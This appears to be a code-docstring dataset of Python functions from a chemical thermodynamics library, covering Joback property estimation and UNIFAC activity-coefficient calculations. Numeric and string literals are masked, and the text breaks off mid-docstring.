{"signature": "@staticmethod<EOL><INDENT>def Tb(counts):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Tb*count<EOL><DEDENT>Tb = <NUM_LIT> + tot<EOL>return Tb<EOL>", "docstring": "r'''Estimates the normal boiling temperature of an organic compound \n        using the Joback method as a function of chemical structure only.\n\n        .. math::\n            T_b = 198.2 + \\sum_i {T_{b,i}}\n\n        For 438 compounds tested by Joback, the absolute average error was\n        12.91 K  and standard deviation was 17.85 K; the average relative error\n        was 3.6%. \n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        Tb : float\n            Estimated normal boiling temperature, [K]\n\n        Examples\n        --------\n        >>> Joback.Tb({1: 2, 24: 1})\n        322.11", "id": "f15809:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def Tm(counts):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Tm*count<EOL><DEDENT>Tm = <NUM_LIT> + tot<EOL>return Tm<EOL>", "docstring": "r'''Estimates the melting temperature of an organic compound using the \n        Joback method as a function of chemical structure only.\n\n        .. math::\n            T_m = 122.5 + \\sum_i {T_{m,i}}\n\n        For 388 compounds tested by Joback, the absolute average error was\n        22.6 K  and standard deviation was 24.68 K; the average relative error\n        was 11.2%. \n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        Tm : float\n            Estimated melting temperature, [K]\n\n        Examples\n        --------\n        >>> Joback.Tm({1: 2, 24: 1})\n        173.5", "id": "f15809:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def Tc(counts, Tb=None):<DEDENT>", "body": "if Tb is None:<EOL><INDENT>Tb = Joback.Tb(counts)<EOL><DEDENT>tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Tc*count<EOL><DEDENT>Tc = Tb/(<NUM_LIT> + <NUM_LIT>*tot - tot*tot)<EOL>return Tc<EOL>", "docstring": "r'''Estimates the critcal temperature of an organic compound using the \n        Joback method as a function of chemical structure only, or optionally\n        improved by using an experimental boiling point. If the experimental\n        boiling point is not provided it will be estimated with the Joback\n        method as well.\n\n        .. math::\n            T_c = T_b \\left[0.584 + 0.965 \\sum_i {T_{c,i}}\n            - \\left(\\sum_i {T_{c,i}}\\right)^2 \\right]^{-1}\n\n        For 409 compounds tested by Joback, the absolute average error was\n        4.76 K  and standard deviation was 6.94 K; the average relative error\n        was 0.81%. \n\n        Appendix BI of Joback's work lists 409 estimated critical temperatures.\n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n        Tb : float, optional\n            Experimental normal boiling temperature, [K]\n\n        Returns\n        -------\n        Tc : float\n            Estimated critical temperature, [K]\n\n        Examples\n        --------\n        >>> Joback.Tc({1: 2, 24: 1}, Tb=322.11)\n        500.5590049525365", "id": "f15809:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def Pc(counts, atom_count):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Pc*count<EOL><DEDENT>Pc = (<NUM_LIT> + <NUM_LIT>*atom_count - tot)**-<NUM_LIT:2><EOL>return Pc*<NUM_LIT><EOL>", "docstring": "r'''Estimates the critcal pressure of an organic compound using the \n        Joback method as a function of chemical structure only. This \n        correlation was developed using the actual number of atoms forming \n        the molecule as well.\n\n        .. math::\n            P_c = \\left [0.113 + 0.0032N_A - \\sum_i {P_{c,i}}\\right ]^{-2}\n\n        In the above equation, critical pressure is calculated in bar; it is\n        converted to Pa here.\n\n        392 compounds were used by Joback in this determination, with an \n        absolute average error of 2.06 bar, standard devaition 3.2 bar, and\n        AARE of 5.2%.\n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n        atom_count : int\n            Total number of atoms (including hydrogens) in the molecule, [-]\n\n        Returns\n        -------\n        Pc : float\n            Estimated critical pressure, [Pa]\n\n        Examples\n        --------\n        >>> Joback.Pc({1: 2, 24: 1}, 10)\n        4802499.604994407", "id": "f15809:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def Vc(counts):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Vc*count<EOL><DEDENT>Vc = <NUM_LIT> + tot<EOL>return Vc*<NUM_LIT><EOL>", "docstring": "r'''Estimates the critcal volume of an organic compound using the \n        Joback method as a function of chemical structure only. \n\n        .. math::\n            V_c = 17.5 + \\sum_i {V_{c,i}}\n\n        In the above equation, critical volume is calculated in cm^3/mol; it \n        is converted to m^3/mol here.\n\n        310 compounds were used by Joback in this determination, with an \n        absolute average error of 7.54 cm^3/mol, standard devaition 13.16\n        cm^3/mol, and AARE of 2.27%.\n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        Vc : float\n            Estimated critical volume, [m^3/mol]\n\n        Examples\n        --------\n        >>> Joback.Vc({1: 2, 24: 1})\n        0.0002095", "id": "f15809:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def Hf(counts):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Hform*count<EOL><DEDENT>Hf = <NUM_LIT> + tot<EOL>return Hf*<NUM_LIT:1000><EOL>", "docstring": "r'''Estimates the ideal-gas enthalpy of formation at 298.15 K of an  \n        organic compound using the Joback method as a function of chemical \n        structure only. \n\n        .. math::\n            H_{formation} = 68.29 + \\sum_i {H_{f,i}}\n\n        In the above equation, enthalpy of formation is calculated in kJ/mol;  \n        it is converted to J/mol here.\n\n        370 compounds were used by Joback in this determination, with an \n        absolute average error of 2.2 kcal/mol, standard devaition 2.0 \n        kcal/mol, and AARE of 15.2%.\n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        Hf : float\n            Estimated ideal-gas enthalpy of formation at 298.15 K, [J/mol]\n\n        Examples\n        --------\n        >>> Joback.Hf({1: 2, 24: 1})\n        -217829.99999999997", "id": "f15809:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def Gf(counts):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Gform*count<EOL><DEDENT>Gf = <NUM_LIT> + tot<EOL>return Gf*<NUM_LIT:1000><EOL>", "docstring": "r'''Estimates the ideal-gas Gibbs energy of formation at 298.15 K of an  \n        organic compound using the Joback method as a function of chemical \n        structure only. \n\n        .. math::\n            G_{formation} = 53.88 + \\sum {G_{f,i}}\n\n        In the above equation, Gibbs energy of formation is calculated in \n        kJ/mol; it is converted to J/mol here.\n\n        328 compounds were used by Joback in this determination, with an \n        absolute average error of 2.0 kcal/mol, standard devaition 4.37\n        kcal/mol, and AARE of 15.7%.\n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        Gf : float\n            Estimated ideal-gas Gibbs energy of formation at 298.15 K, [J/mol]\n\n        Examples\n        --------\n        >>> Joback.Gf({1: 2, 24: 1})\n        -154540.00000000003", "id": "f15809:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def Hfus(counts):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Hfus*count<EOL><DEDENT>Hfus = -<NUM_LIT> + tot<EOL>return Hfus*<NUM_LIT:1000><EOL>", "docstring": "r'''Estimates the enthalpy of fusion of an organic compound at its \n        melting point using the Joback method as a function of chemical \n        structure only. \n\n        .. math::\n            \\Delta H_{fus} = -0.88 + \\sum_i H_{fus,i}\n\n        In the above equation, enthalpy of fusion is calculated in \n        kJ/mol; it is converted to J/mol here.\n\n        For 155 compounds tested by Joback, the absolute average error was\n        485.2 cal/mol  and standard deviation was 661.4 cal/mol; the average \n        relative error was 38.7%. \n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        Hfus : float\n            Estimated enthalpy of fusion of the compound at its melting point,\n            [J/mol]\n\n        Examples\n        --------\n        >>> Joback.Hfus({1: 2, 24: 1})\n        5125.0", "id": "f15809:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def Hvap(counts):<DEDENT>", "body": "tot = <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>tot += joback_groups_id_dict[group].Hvap*count<EOL><DEDENT>Hvap = <NUM_LIT> + tot<EOL>return Hvap*<NUM_LIT:1000><EOL>", "docstring": "r'''Estimates the enthalpy of vaporization of an organic compound at  \n        its normal boiling point using the Joback method as a function of  \n        chemical structure only. \n\n        .. math::\n            \\Delta H_{vap} = 15.30 + \\sum_i H_{vap,i}\n\n        In the above equation, enthalpy of fusion is calculated in \n        kJ/mol; it is converted to J/mol here.\n\n        For 368 compounds tested by Joback, the absolute average error was\n        303.5 cal/mol  and standard deviation was 429 cal/mol; the average \n        relative error was 3.88%. \n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        Hvap : float\n            Estimated enthalpy of vaporization of the compound at its normal\n            boiling point, [J/mol]\n\n        Examples\n        --------\n        >>> Joback.Hvap({1: 2, 24: 1})\n        29018.0", "id": "f15809:c0:m10"}
{"signature": "@staticmethod<EOL><INDENT>def Cpig_coeffs(counts):<DEDENT>", "body": "a, b, c, d = <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>a += joback_groups_id_dict[group].Cpa*count<EOL>b += joback_groups_id_dict[group].Cpb*count<EOL>c += joback_groups_id_dict[group].Cpc*count<EOL>d += joback_groups_id_dict[group].Cpd*count<EOL><DEDENT>a -= <NUM_LIT><EOL>b += <NUM_LIT><EOL>c -= <NUM_LIT><EOL>d += <NUM_LIT><EOL>return [a, b, c, d]<EOL>", "docstring": "r'''Computes the ideal-gas polynomial heat capacity coefficients \n        of an organic compound using the Joback method as a function of  \n        chemical structure only. \n\n        .. math::\n            C_p^{ig} = \\sum_i a_i - 37.93 + \\left[ \\sum_i b_i + 0.210 \\right] T\n            + \\left[ \\sum_i c_i - 3.91 \\cdot 10^{-4} \\right] T^2 \n            + \\left[\\sum_i d_i + 2.06 \\cdot 10^{-7}\\right] T^3\n\n        288 compounds were used by Joback in this determination. No overall \n        error was reported.\n\n        The ideal gas heat capacity values used in developing the heat \n        capacity polynomials used 9 data points between 298 K and 1000 K.\n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        coefficients : list[float]\n            Coefficients which will result in a calculated heat capacity in\n            in units of J/mol/K, [-]\n\n        Examples\n        --------\n        >>> c = Joback.Cpig_coeffs({1: 2, 24: 1})\n        >>> c\n        [7.520000000000003, 0.26084, -0.0001207, 1.545999999999998e-08]\n        >>> Cp = lambda T : c[0] + c[1]*T + c[2]*T**2 + c[3]*T**3\n        >>> Cp(300)\n        75.32642000000001", "id": "f15809:c0:m11"}
{"signature": "@staticmethod<EOL><INDENT>def mul_coeffs(counts):<DEDENT>", "body": "a, b = <NUM_LIT:0.0>, <NUM_LIT:0.0><EOL>for group, count in counts.items():<EOL><INDENT>a += joback_groups_id_dict[group].mua*count<EOL>b += joback_groups_id_dict[group].mub*count<EOL><DEDENT>a -= <NUM_LIT><EOL>b -= <NUM_LIT><EOL>return [a, b]<EOL>", "docstring": "r'''Computes the liquid phase viscosity Joback coefficients \n        of an organic compound using the Joback method as a function of  \n        chemical structure only. \n\n        .. math::\n            \\mu_{liq} = \\text{MW} \\exp\\left( \\frac{ \\sum_i \\mu_a - 597.82}{T} \n            + \\sum_i \\mu_b - 11.202 \\right)\n\n        288 compounds were used by Joback in this determination. No overall \n        error was reported.\n\n        The liquid viscosity data used was specified to be at \"several \n        temperatures for each compound\" only. A small and unspecified number\n        of compounds were used in this estimation.\n\n        Parameters\n        ----------\n        counts : dict\n            Dictionary of Joback groups present (numerically indexed) and their\n            counts, [-]\n\n        Returns\n        -------\n        coefficients : list[float]\n            Coefficients which will result in a liquid viscosity in\n            in units of Pa*s, [-]\n\n        Examples\n        --------\n        >>> mu_ab = Joback.mul_coeffs({1: 2, 24: 1})\n        >>> mu_ab\n        [839.1099999999998, -14.99]\n        >>> MW = 58.041864812\n        >>> mul = lambda T : MW*exp(mu_ab[0]/T + mu_ab[1])\n        >>> mul(300)\n        0.0002940378347162687", "id": "f15809:c0:m12"}
{"signature": "def Cpig(self, T):", "body": "if self.calculated_Cpig_coeffs is None:<EOL><INDENT>self.calculated_Cpig_coeffs = Joback.Cpig_coeffs(self.counts)<EOL><DEDENT>return horner(reversed(self.calculated_Cpig_coeffs), T)<EOL>", "docstring": "r'''Computes ideal-gas heat capacity at a specified temperature \n        of an organic compound using the Joback method as a function of  \n        chemical structure only. \n\n        .. math::\n            C_p^{ig} = \\sum_i a_i - 37.93 + \\left[ \\sum_i b_i + 0.210 \\right] T\n            + \\left[ \\sum_i c_i - 3.91 \\cdot 10^{-4} \\right] T^2 \n            + \\left[\\sum_i d_i + 2.06 \\cdot 10^{-7}\\right] T^3\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        Cpig : float\n            Ideal-gas heat capacity, [J/mol/K]\n\n        Examples\n        --------\n        >>> J = Joback('CC(=O)C')\n        >>> J.Cpig(300)\n        75.32642000000001", "id": "f15809:c0:m13"}
{"signature": "def mul(self, T):", "body": "if self.calculated_mul_coeffs is None:<EOL><INDENT>self.calculated_mul_coeffs = Joback.mul_coeffs(self.counts)<EOL><DEDENT>a, b = self.calculated_mul_coeffs<EOL>return self.MW*exp(a/T + b)<EOL>", "docstring": "r'''Computes liquid viscosity at a specified temperature \n        of an organic compound using the Joback method as a function of  \n        chemical structure only. \n\n        .. math::\n            \\mu_{liq} = \\text{MW} \\exp\\left( \\frac{ \\sum_i \\mu_a - 597.82}{T}\n            + \\sum_i \\mu_b - 11.202 \\right)\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        mul : float\n            Liquid viscosity, [Pa*s]\n\n        Examples\n        --------\n        >>> J = Joback('CC(=O)C')\n        >>> J.mul(300)\n        0.0002940378347162687", "id": "f15809:c0:m14"}
{"signature": "def load_group_assignments_DDBST():", "body": "<EOL>if DDBST_UNIFAC_assignments:<EOL><INDENT>return None<EOL><DEDENT>with open(os.path.join(folder, '<STR_LIT>')) as f:<EOL><INDENT>_group_assignments = [DDBST_UNIFAC_assignments, DDBST_MODIFIED_UNIFAC_assignments, DDBST_PSRK_assignments]<EOL>for line in f.readlines():<EOL><INDENT>key, valids, original, modified, PSRK = line.split('<STR_LIT:\\t>')<EOL>valids = [True if i == '<STR_LIT:1>' else False for i in valids.split('<STR_LIT:U+0020>')]<EOL>for groups, storage, valid in zip([original, modified, PSRK], _group_assignments, valids):<EOL><INDENT>if valid:<EOL><INDENT>groups = groups.rstrip().split('<STR_LIT:U+0020>')<EOL>d_data = {}<EOL>for i in range(int(len(groups)/<NUM_LIT:2>)):<EOL><INDENT>d_data[int(groups[i*<NUM_LIT:2>])] = int(groups[i*<NUM_LIT:2>+<NUM_LIT:1>])<EOL><DEDENT>storage[key] = d_data<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Data is stored in the format\n    InChI key\\tbool bool bool \\tsubgroup count ...\\tsubgroup count \\tsubgroup count...\n    where the bools refer to whether or not the original UNIFAC, modified\n    UNIFAC, and PSRK group assignments were completed correctly.\n    The subgroups and their count have an indefinite length.", "id": "f15810:m0"}
{"signature": "def UNIFAC_RQ(groups, subgroup_data=None):", "body": "if subgroup_data is not None:<EOL><INDENT>subgroups = subgroup_data<EOL><DEDENT>else:<EOL><INDENT>subgroups = UFSG<EOL><DEDENT>ri = <NUM_LIT:0.><EOL>qi = <NUM_LIT:0.><EOL>for group, count in groups.items():<EOL><INDENT>ri += subgroups[group].R*count<EOL>qi += subgroups[group].Q*count<EOL><DEDENT>return ri, qi<EOL>", "docstring": "r'''Calculates UNIFAC parameters R and Q for a chemical, given a dictionary\n    of its groups, as shown in [1]_. Most UNIFAC methods use the same subgroup\n    values; however, a dictionary of `UNIFAC_subgroup` instances may be \n    specified as an optional second parameter.\n\n    .. math::\n        r_i = \\sum_{k=1}^{n} \\nu_k R_k \n\n        q_i = \\sum_{k=1}^{n}\\nu_k Q_k\n\n    Parameters\n    ----------\n    groups : dict[count]\n        Dictionary of numeric subgroup IDs : their counts\n    subgroup_data : None or dict[UNIFAC_subgroup]\n        Optional replacement for standard subgroups; leave as None to use the\n        original UNIFAC subgroup r and q values.\n\n    Returns\n    -------\n    R : float\n        R UNIFAC parameter (normalized Van der Waals Volume)  [-]\n    Q : float\n        Q UNIFAC parameter (normalized Van der Waals Area)  [-]\n\n    Notes\n    -----\n    These parameters have some predictive value for other chemical properties.\n\n    Examples\n    --------\n    Hexane\n\n    >>> UNIFAC_RQ({1:2, 2:4})\n    (4.4998000000000005, 3.856)\n\n    References\n    ----------\n    .. [1] Gmehling, Jurgen. Chemical Thermodynamics: For Process Simulation.\n       Weinheim, Germany: Wiley-VCH, 2012.", "id": "f15810:m1"}
{"signature": "def Van_der_Waals_volume(R):", "body": "return R*<NUM_LIT><EOL>", "docstring": "r'''Calculates a species Van der Waals molar volume with the UNIFAC method,\n    given a species's R parameter.\n\n    .. math::\n        V_{wk} = 15.17R_k\n\n    Parameters\n    ----------\n    R : float\n        R UNIFAC parameter (normalized Van der Waals Volume)  [-]\n\n    Returns\n    -------\n    V_vdw : float\n        Unnormalized Van der Waals volume, [m^3/mol]\n\n    Notes\n    -----\n    The volume was originally given in cm^3/mol, but is converted to SI here.\n\n    Examples\n    --------    \n    >>> Van_der_Waals_volume(4.4998)\n    6.826196599999999e-05\n\n    References\n    ----------\n    .. [1] Wei, James, Morton M. Denn, John H. Seinfeld, Arup Chakraborty, \n       Jackie Ying, Nicholas Peppas, and George Stephanopoulos. Molecular \n       Modeling and Theory in Chemical Engineering. Academic Press, 2001.", "id": "f15810:m2"}
{"signature": "def Van_der_Waals_area(Q):", "body": "return Q*<NUM_LIT><EOL>", "docstring": "r'''Calculates a species Van der Waals molar surface area with the UNIFAC \n    method, given a species's Q parameter.\n\n    .. math::\n        A_{wk} = 2.5\\times 10^9 Q_k\n\n    Parameters\n    ----------\n    Q : float\n        Q UNIFAC parameter (normalized Van der Waals Area)  [-]\n\n    Returns\n    -------\n    A_vdw : float\n        Unnormalized Van der Waals surface area, [m^2/mol]\n\n    Notes\n    -----\n    The volume was originally given in cm^2/mol, but is converted to SI here.\n\n    Examples\n    --------    \n    >>> Van_der_Waals_area(3.856)\n    964000.0\n\n    References\n    ----------\n    .. [1] Wei, James, Morton M. Denn, John H. Seinfeld, Arup Chakraborty, \n       Jackie Ying, Nicholas Peppas, and George Stephanopoulos. Molecular \n       Modeling and Theory in Chemical Engineering. Academic Press, 2001.", "id": "f15810:m3"}
{"signature": "def UNIFAC_psi(T, subgroup1, subgroup2, subgroup_data, interaction_data, <EOL>modified=False):", "body": "main1 = subgroup_data[subgroup1].main_group_id<EOL>main2 = subgroup_data[subgroup2].main_group_id<EOL>if modified:<EOL><INDENT>try:<EOL><INDENT>a, b, c = interaction_data[main1][main2]<EOL><DEDENT>except:<EOL><INDENT>return <NUM_LIT:1.><EOL><DEDENT>return exp((-a/T -b - c*T))<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return exp(-interaction_data[main1][main2]/T)<EOL><DEDENT>except:<EOL><INDENT>return <NUM_LIT:1.><EOL><DEDENT><DEDENT>", "docstring": "r'''Calculates the interaction parameter psi(m, n) for two UNIFAC \n    subgroups, given the system temperature, the UNIFAC subgroups considered \n    for the variant of UNIFAC used, the interaction parameters for the \n    variant of UNIFAC used, and whether or not the temperature dependence is \n    modified from the original form, as shown below.\n\n    Original temperature dependence:\n\n    .. math::\n        \\Psi_{mn} = \\exp\\left(\\frac{-a_{mn}}{T}\\right)\n\n    Modified temperature dependence:\n\n    .. math::\n        \\Psi_{mn} = \\exp\\left(\\frac{-a_{mn} - b_{mn}T - c_{mn}T^2}{T}\\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the system, [K]\n    subgroup1 : int\n        First UNIFAC subgroup for identifier, [-]\n    subgroup2 : int\n        Second UNIFAC subgroup for identifier, [-]\n    subgroup_data : dict[UNIFAC_subgroup]\n        Normally provided as inputs to `UNIFAC`.\n    interaction_data : dict[dict[tuple(a_mn, b_mn, c_mn)]]\n        Normally provided as inputs to `UNIFAC`.\n    modified : bool\n        True if the modified temperature dependence is used by the interaction\n        parameters, otherwise False\n\n    Returns\n    -------\n    psi : float\n        UNIFAC interaction parameter term, [-]\n\n    Notes\n    -----\n    UNIFAC interaction parameters are asymmetric. No warning is raised if an\n    interaction parameter is missing.\n\n    Examples\n    --------\n    >>> from thermo.unifac import UFSG, UFIP, DOUFSG, DOUFIP2006\n\n    >>> UNIFAC_psi(307, 18, 1, UFSG, UFIP)\n    0.9165248264184787\n\n    >>> UNIFAC_psi(373.15, 9, 78, DOUFSG, DOUFIP2006, modified=True)\n    1.3703140538273264\n\n    References\n    ----------\n    .. [1] Gmehling, Jurgen. Chemical Thermodynamics: For Process Simulation.\n       Weinheim, Germany: Wiley-VCH, 2012.\n    .. [2] Fredenslund, Aage, Russell L. Jones, and John M. Prausnitz. \"Group\n       Contribution Estimation of Activity Coefficients in Nonideal Liquid \n       Mixtures.\" AIChE Journal 21, no. 6 (November 1, 1975): 1086-99. \n       doi:10.1002/aic.690210607.", "id": "f15810:m4"}
{"signature": "def UNIFAC(T, xs, chemgroups, cached=None, subgroup_data=None, <EOL>interaction_data=None, modified=False):", "body": "cmps = range(len(xs))<EOL>if subgroup_data is None:<EOL><INDENT>subgroups = UFSG<EOL><DEDENT>else:<EOL><INDENT>subgroups = subgroup_data<EOL><DEDENT>if interaction_data is None:<EOL><INDENT>interactions = UFIP<EOL><DEDENT>else:<EOL><INDENT>interactions = interaction_data<EOL><DEDENT>if not cached:<EOL><INDENT>rs = []<EOL>qs = []<EOL>for groups in chemgroups:<EOL><INDENT>ri = <NUM_LIT:0.><EOL>qi = <NUM_LIT:0.><EOL>for group, count in groups.items():<EOL><INDENT>ri += subgroups[group].R*count<EOL>qi += subgroups[group].Q*count<EOL><DEDENT>rs.append(ri)<EOL>qs.append(qi)<EOL><DEDENT>group_counts = {}<EOL>for groups in chemgroups:<EOL><INDENT>for group, count in groups.items():<EOL><INDENT>if group in group_counts:<EOL><INDENT>group_counts[group] += count<EOL><DEDENT>else:<EOL><INDENT>group_counts[group] = count<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rs, qs, group_counts = cached<EOL><DEDENT>group_sum = sum(count*xs[i] for i in cmps for count in chemgroups[i].values())<EOL>group_count_xs = {}<EOL>for group in group_counts:<EOL><INDENT>tot_numerator = sum(chemgroups[i][group]*xs[i] for i in cmps if group in chemgroups[i])        <EOL>group_count_xs[group] = tot_numerator/group_sum<EOL><DEDENT>rsxs = sum([rs[i]*xs[i] for i in cmps])<EOL>Vis = [rs[i]/rsxs for i in cmps]<EOL>qsxs = sum([qs[i]*xs[i] for i in cmps])<EOL>Fis = [qs[i]/qsxs for i in cmps]<EOL>if modified:<EOL><INDENT>rsxs2 = sum([rs[i]**<NUM_LIT>*xs[i] for i in cmps])<EOL>Vis2 = [rs[i]**<NUM_LIT>/rsxs2 for i in cmps]<EOL>loggammacs = [<NUM_LIT:1.> - Vis2[i] + log(Vis2[i]) - <NUM_LIT>*qs[i]*(<NUM_LIT:1.> - Vis[i]/Fis[i]<EOL>+ log(Vis[i]/Fis[i])) for i in cmps]<EOL><DEDENT>else:<EOL><INDENT>loggammacs = [<NUM_LIT:1.> - Vis[i] + log(Vis[i]) - <NUM_LIT>*qs[i]*(<NUM_LIT:1.> - Vis[i]/Fis[i]<EOL>+ log(Vis[i]/Fis[i])) for i in cmps]<EOL><DEDENT>Q_sum_term = sum([subgroups[group].Q*group_count_xs[group] for group in group_counts])<EOL>area_fractions = {group: subgroups[group].Q*group_count_xs[group]/Q_sum_term<EOL>for group in group_counts.keys()}<EOL>UNIFAC_psis = {k: {m:(UNIFAC_psi(T, m, k, subgroups, interactions, modified=modified))<EOL>for m in group_counts} for k in group_counts}<EOL>loggamma_groups = {}<EOL>for k in group_counts:<EOL><INDENT>sum1, sum2 = <NUM_LIT:0.>, <NUM_LIT:0.><EOL>for m in group_counts:<EOL><INDENT>sum1 += area_fractions[m]*UNIFAC_psis[k][m]<EOL>sum3 = sum(area_fractions[n]*UNIFAC_psis[m][n] for n in group_counts)<EOL>sum2 -= area_fractions[m]*UNIFAC_psis[m][k]/sum3<EOL><DEDENT>loggamma_groups[k] = subgroups[k].Q*(<NUM_LIT:1.> - log(sum1) + sum2)<EOL><DEDENT>loggammars = []<EOL>for groups in chemgroups:<EOL><INDENT>chem_loggamma_groups = {}<EOL>chem_group_sum = sum(groups.values())<EOL>chem_group_count_xs = {group: count/chem_group_sum for group, count in groups.items()}<EOL>Q_sum_term = sum([subgroups[group].Q*chem_group_count_xs[group] for group in groups])<EOL>chem_area_fractions = {group: subgroups[group].Q*chem_group_count_xs[group]/Q_sum_term<EOL>for group in groups.keys()}<EOL>for k in groups:<EOL><INDENT>sum1, sum2 = <NUM_LIT:0.>, <NUM_LIT:0.><EOL>for m in groups:<EOL><INDENT>sum1 += chem_area_fractions[m]*UNIFAC_psis[k][m]<EOL>sum3 = sum(chem_area_fractions[n]*UNIFAC_psis[m][n] for n in groups)<EOL>sum2 -= chem_area_fractions[m]*UNIFAC_psis[m][k]/sum3<EOL><DEDENT>chem_loggamma_groups[k] = subgroups[k].Q*(<NUM_LIT:1.> - log(sum1) + sum2)<EOL><DEDENT>tot = sum([count*(loggamma_groups[group] - chem_loggamma_groups[group])<EOL>for group, count in groups.items()])<EOL>loggammars.append(tot)<EOL><DEDENT>return [exp(loggammacs[i]+loggammars[i]) for i in cmps]<EOL>", "docstring": "r'''Calculates activity coefficients using the UNIFAC model (optionally \n    modified), given a mixture's temperature, liquid mole fractions, \n    and optionally the subgroup data and interaction parameter data of your \n    choice. The default is to use the original UNIFAC model, with the latest \n    parameters published by DDBST. The model supports modified forms (Dortmund, \n    NIST) when the `modified` parameter is True.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the system, [K]\n    xs : list[float]\n        Mole fractions of all species in the system in the liquid phase, [-]\n    chemgroups : list[dict]\n        List of dictionaries of subgroup IDs and their counts for all species \n        in the mixture, [-]\n    subgroup_data : dict[UNIFAC_subgroup]\n        UNIFAC subgroup data; available dictionaries in this module are UFSG\n        (original), DOUFSG (Dortmund), or NISTUFSG ([4]_).\n    interaction_data : dict[dict[tuple(a_mn, b_mn, c_mn)]]\n        UNIFAC interaction parameter data; available dictionaries in this \n        module are UFIP (original), DOUFIP2006 (Dortmund parameters as \n        published by 2006), DOUFIP2016 (Dortmund parameters as published by \n        2016), and NISTUFIP ([4]_).\n    modified : bool\n        True if using the modified form and temperature dependence, otherwise\n        False.\n\n    Returns\n    -------\n    gammas : list[float]\n        Activity coefficients of all species in the mixture, [-]\n\n    Notes\n    -----\n    The actual implementation of UNIFAC is formulated slightly different than\n    the formulas above for computational efficiency. DDBST switched to using \n    the more efficient forms in their publication, but the numerical results\n    are identical.\n\n    The model is as follows:\n\n    .. math::\n        \\ln \\gamma_i =  \\ln \\gamma_i^c + \\ln \\gamma_i^r\n\n    **Combinatorial component**\n\n    .. math::\n        \\ln \\gamma_i^c = \\ln \\frac{\\phi_i}{x_i} + \\frac{z}{2} q_i \n        \\ln\\frac{\\theta_i}{\\phi_i} + L_i - \\frac{\\phi_i}{x_i}\n        \\sum_{j=1}^{n} x_j L_j\n\n        \\theta_i = \\frac{x_i q_i}{\\sum_{j=1}^{n} x_j q_j} \n\n         \\phi_i = \\frac{x_i r_i}{\\sum_{j=1}^{n} x_j r_j}\n\n          L_i = 5(r_i - q_i)-(r_i-1)\n\n    **Residual component**\n\n    .. math::\n        \\ln \\gamma_i^r = \\sum_{k}^n \\nu_k^{(i)} \\left[ \\ln \\Gamma_k\n        - \\ln \\Gamma_k^{(i)} \\right]\n\n        \\ln \\Gamma_k = Q_k \\left[1 - \\ln \\sum_m \\Theta_m \\Psi_{mk} - \\sum_m \n        \\frac{\\Theta_m \\Psi_{km}}{\\sum_n \\Theta_n \\Psi_{nm}}\\right]\n\n        \\Theta_m = \\frac{Q_m X_m}{\\sum_{n} Q_n X_n}\n\n        X_m = \\frac{ \\sum_j \\nu^j_m x_j}{\\sum_j \\sum_n \\nu_n^j x_j}\n\n    **R and Q**\n\n    .. math::\n        r_i = \\sum_{k=1}^{n} \\nu_k R_k \n\n        q_i = \\sum_{k=1}^{n}\\nu_k Q_k\n\n    The newer forms of UNIFAC (Dortmund, NIST) calculate the combinatorial\n    part slightly differently:\n\n    .. math::\n        \\ln \\gamma_i^c = 1 - {V'}_i + \\ln({V'}_i) - 5q_i \\left(1\n        - 